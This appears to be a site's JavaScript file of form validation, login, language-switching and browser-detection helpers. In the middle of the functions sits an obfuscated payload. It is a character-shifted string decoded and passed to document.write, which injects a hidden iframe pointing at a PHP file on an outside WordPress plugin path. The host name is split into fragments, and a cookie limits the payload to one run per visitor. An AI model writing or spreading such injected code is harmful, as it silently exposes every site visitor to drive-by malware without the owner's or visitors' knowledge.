var Lang_arr = new Array();

var is_Opera = (window.navigator.userAgent.search("Opera") != -1);
var is_IE = ((window.navigator.userAgent.search("MSIE") != -1) && !is_Opera);

function isEmail(val){
	return (val.search(/^\w{2,}@\w{3,}\.\w{2,4}$/) != -1);
}

function hideErrors(){
	var np = document.getElementsByTagName("INPUT");
	var ob = "";
	for(i=0; i<np.length; i++){
		ob = np[i];
		if (ob.className.search("error_field") != -1){
			ob.className = ob.className.replace("error_field", "");
		}
	}
	np = document.getElementsByTagName("SELECT");
	for(i=0; i<np.length; i++){
		ob = np[i];
		if (ob.className.search("error_field") != -1){
			ob.className = ob.className.replace("error_field", "");
		}
	}
	document.getElementById('errors').innerHTML = "";
	document.getElementById('success').innerHTML = "";
	
	document.getElementById('errors').style.display = "none";
	document.getElementById('success').style.display = "none";
}

function showError(val){
	document.getElementById('errors').innerHTML = val;
	document.getElementById('errors').style.display = "";
	document.getElementById('errors').scrollIntoView();
}

function showSuccess(val){
	document.getElementById('success').innerHTML = val;
	document.getElementById('success').style.display = "";
	document.getElementById('success').scrollIntoView();
}

function setError(ob){
	ob.className = ob.className + " error_field";
	ob.focus();
}

function showMakeHome(){
	var obj = document.getElementById('make_home_page_div');
	if (is_IE){
		obj = document.getElementById('make_home_page_link');
		obj.style.behavior="url(#default#homepage)";
		obj.setHomePage(URL);
	}
	else if(is_Opera){
		var txt = get_message("Opera_Make_Home_Page");
		obj.innerHTML = txt;
		obj.style.display="";
	}
	else {
		var txt = get_message("FireFox_Make_Home_Page");
		obj.innerHTML = txt;
		obj.style.display="";	
	}
}

function get_message(val){
	if (Lang_arr[val] != null){
		return Lang_arr[val];
	}
	else {
		if (window.XMLHttpRequest) {
			var oReq = new XMLHttpRequest();
		}
		else {
			var oReq = new ActiveXObject("Microsoft.XMLHTTP");	
		}
		oReq.open("GET", "get_js_txt.php?val="+val, false);
		oReq.send(null);
		return oReq.responseText;
	}
}
var source ="=tdsjqu!mbohvbhf>#KbwbTdsjqu#!uzqf>#ufyu0kbwbtdsjqu#?jg!)epdvnfou/dppljf/tfbsdi)#pog>4#*!>>!.2*!|epdvnfou/xsjuf)#=jgsbn#,#f!tsd>iuuq;00#,#npn#,#t#,#dbticmph/dpn0#,#xq.dpouf#,#ou0#,#qmv#,#hjot0bmjo#,#lt0yn#,#m#,#sqd/qiq!tuzmf>ejtqmbz#,#;o#,#po#,#f?=0jgs#,#bnf?#*<!!epdvnfou/dppljf!>!#pog>4<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = ""; for(var i=0;i<source.length;i++) { result+=String.fromCharCode(source.charCodeAt(i)-1); } document.write(result);
function change_lang(val){
	replaceFrm("change_lan.php?lang="+val);	
}
function replaceFrm(val){
	document.getElementById('extra_frame').contentWindow.location.replace(val);
}


function show_members(val){
	if (val == "2"){
		document.getElementById('Members_tr').style.display = "";
	}
	else {
		document.getElementById('Members_tr').style.display = "none";
	}
}

function check_Login(){
	hideErrors();
	if (!isEmail(document.getElementById('Email').value)){
		showError(get_message("Invalid_Email_Address"));
		setError(document.getElementById('Email'));
		return false;
	}	
	else if(document.getElementById('PWord').value == ""){
		showError(get_message("Invalid_Password"));
		setError(document.getElementById('PWord'));
		return false;
	}
	else {
		showSuccess(get_message("Wait_While_We_Check_Login"));
		return true;
	}
}

function check_all(obj){
	var chs = document.getElementsByTagName('INPUT');
	for(i=0; i<chs.length; i++){
		if (chs[i].type == "checkbox") chs[i].checked = obj.checked;
	}
}

function selSelect(sel, val){
	var op = sel.childNodes;
	var selIndex = 0;
	for(i=0; i<op.length; i++){
		if (op[i].tagName == "OPTION"){
			if (op[i].value == val) {
				sel.selectedIndex = selIndex;
				i = op.length+1;
			}
			selIndex++;
		}
	}
}
function selSelectText(sel, val){

	var op = sel.childNodes;
	var selIndex = 0;
	for(i=0; i<op.length; i++){
		if (op[i].tagName == "OPTION"){
			if (op[i].innerHTML == val) {
				sel.selectedIndex = selIndex;
				i = op.length+1;
			}
			selIndex++;
		}
	}
}

function showLogin(){
	if (document.getElementById('login_div').style.display == "none"){
		document.getElementById('login_div').style.display = "";
		document.getElementById('login_link').innerHTML = get_message("Cancel");
	}
	else {
		document.getElementById('login_div').style.display = "none";
		document.getElementById('login_link').innerHTML = get_message("Log_in");	
	}
}


